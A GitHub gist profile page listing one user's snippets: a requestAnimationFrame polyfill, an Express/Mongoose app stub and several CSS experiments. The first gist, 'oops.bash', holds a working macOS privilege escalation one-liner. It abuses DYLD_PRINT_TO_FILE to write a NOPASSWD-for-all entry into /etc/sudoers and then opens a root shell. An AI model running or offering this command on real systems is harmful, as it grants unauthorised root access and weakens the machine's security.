Skip to content

Instantly share code, notes, and snippets.

View javray's full-sized avatar

Fco. Javier Martín Carrasco javray

View GitHub Profile
@javray
javray / oops.bash
Last active August 29, 2015 14:26 — forked from szhu/oops.bash
DYLD_PRINT_TO_FILE vulerability
# https://twitter.com/nst021/status/623953011325468673
# https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
echo python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
sudo su
@javray
javray / rAF.js
Created April 16, 2014 20:49 — forked from paulirish/rAF.js
// http://paulirish.com/2011/requestanimationframe-for-smart-animating/
// http://my.opera.com/emoller/blog/2011/12/20/requestanimationframe-for-smart-er-animating
// requestAnimationFrame polyfill by Erik Möller. fixes from Paul Irish and Tino Zijdel
// MIT license
(function() {
var lastTime = 0;
var vendors = ['ms', 'moz', 'webkit', 'o'];
@javray
javray / app.js
Created March 21, 2014 21:30 — forked from pixelhandler/app.js
var application_root = __dirname,
express = require("express"),
path = require("path"),
mongoose = require('mongoose');
var app = express.createServer();
// database
mongoose.connect('mongodb://localhost/ecomm_database');
@javray
javray / dabblet.css
Created February 23, 2013 21:39
The first commented line is your dabblet’s title
/**
* The first commented line is your dabblet’s title
*/
.icono {
-webkit-mask-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0,0,0,1)), to(rgba(0,0,0,0.5)));
font-weight: bold;
background: rgba(0,0,0,0);
font-size:30px;
}
@javray
javray / dabblet.css
Created February 23, 2013 21:38
The first commented line is your dabblet’s title
/**
* The first commented line is your dabblet’s title
*
.icono {
-webkit-mask-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0,0,0,1)), to(rgba(0,0,0,0.5)));
font-weight: bold;
background: rgba(0,0,0,0);
font-size:30px;
}
@javray
javray / dabblet.css
Created February 23, 2013 21:22
The first commented line is your dabblet’s title
/**
* The first commented line is your dabblet’s title
*/
.icono {
-webkit-mask-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0,0,0,1)), to(rgba(0,0,0,0.5)));
font-weight: bold;
background: rgba(0,0,0,0); font-size:40px;
-webkit-background-clip: text;
}
@javray
javray / dabblet.css
Created February 23, 2013 21:10
The first commented line is your dabblet’s title
/**
* The first commented line is your dabblet’s title
*/
.icono {
-webkit-mask-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0,0,0,1)), to(rgba(0,0,0,0.5)));
background: rgba(0,0,0,0);
font-weight: bold;
font-size:40px;
}
@javray
javray / dabblet.css
Created February 13, 2013 10:21
Sombras
/**
* Sombras
*/
.marco {
border:4px solid black;
border-radius:15px;
width:300px;
margin: 0px 0px 0px 40px;
overflow: hidden;
@javray
javray / dabblet.css
Created February 13, 2013 10:12
Sombras
/**
* Sombras
*/
.marco {
border:4px solid black;
border-radius:15px;
width:300px;
margin: 0px 0px 0px 40px;
overflow: hidden;